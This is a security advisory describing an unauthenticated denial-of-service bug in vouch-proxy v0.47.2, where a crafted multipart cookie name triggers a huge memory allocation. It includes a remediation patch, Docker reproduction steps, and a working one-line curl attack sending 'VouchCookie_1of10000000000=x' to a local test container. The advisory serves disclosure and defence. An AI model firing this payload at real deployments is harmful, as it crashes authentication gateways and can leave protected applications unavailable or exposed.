Résumé
vouch-proxy has an Unbounded Multipart Cookie Allocation DoS
Détails de l’avis
Unbounded Multipart Cookie Allocation DoS in vouch-proxy
Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
Details
The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:
// pkg/cookie/cookie.go:123–130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
cookieParts = make([]string, numParts) // sink: unbounded allocation
}
The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.
The complete exploit path from network entry to crash:
main.go:167—/validateand/_external-auth-:idare registered wrapped inJWTCacheHandler.pkg/jwtmanager/jwtcache.go:54—JWTCacheHandlercallsFindJWT(r)before any authentication check.pkg/jwtmanager/jwtmanager.go:228—FindJWTcallscookie.Cookie(r).pkg/cookie/cookie.go:109—r.Cookies()reads the attacker-suppliedCookie:header.pkg/cookie/cookie.go:124— cookie name suffix is split on"of".pkg/cookie/cookie.go:126—strconv.Atoi(xyArray[1])parses the attacker-controlled total.pkg/cookie/cookie.go:130— sink:make([]string, numParts)attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
- xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
- xyArray := strings.Split(xOFy, "of")
+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+ partStr, totalStr, ok := strings.Cut(xOFy, "of")
+ if !ok || partStr == "" || totalStr == "" {
+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+ }
if numParts == -1 {
- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+ if numParts, err = strconv.Atoi(totalStr); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
+ if numParts < 1 || numParts > maxCookieParts {
+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+ }
cookieParts = make([]string, numParts)
}
PoC
Environment setup
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
docker build \
-f vuln-001/Dockerfile \
-t vouch-vuln001 \
repo
Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):
docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001
Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
curl -v http://127.0.0.1:19090/validate
Attack request
Send a single unauthenticated HTTP GET with the malicious cookie name:
curl -v http://127.0.0.1:19090/validate \
-H 'Host: app.example.com' \
-H 'Cookie: VouchCookie_1of10000000000=x'
Alternatively, run the automated PoC script:
python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000
Expected result
The server process crashes immediately with a Go runtime fatal error. Container logs show:
fatal error: runtime: out of memory
runtime.makeslice(0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
/src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
/src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
/src/pkg/jwtmanager/jwtcache.go:54
The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
Minimal configuration (no real OAuth provider required):
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
- vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/auth
Impact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
Reproduction artifacts
Dockerfile
# VULN-001 — Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
# -> Server process crashes; no authentication required
#
# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder
WORKDIR /src
COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
go build -v \
-ldflags="-s -w \
-X main.version=b683f60 \
-X main.uname=linux \
-X main.builddt=2024-01-01T00:00:00Z \
-X main.host=vuln-poc \
-X main.semver=v0.47.2 \
-X main.branch=main" \
-o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-55407
Buffa Vulnerable to Memory Exhaustion Denial of Service in decode_unknown_field via Unbounded Allocation
- HIGHCVE-2026-77354
kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding
- HIGHCVE-2026-69219
RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation
- HIGHCVE-2026-71314
Nuxt: Unauthenticated out-of-memory crash via unbounded v-for expansion in island rendering
- MEDIUMCVE-2026-52857
Wings: Maliciously or erroneously created parsed config files can cause wings process to OOM
- HIGHCVE-2026-54638
td has pre-auth denial of service via unbounded memory allocation in proto.UnencryptedMessage.Decode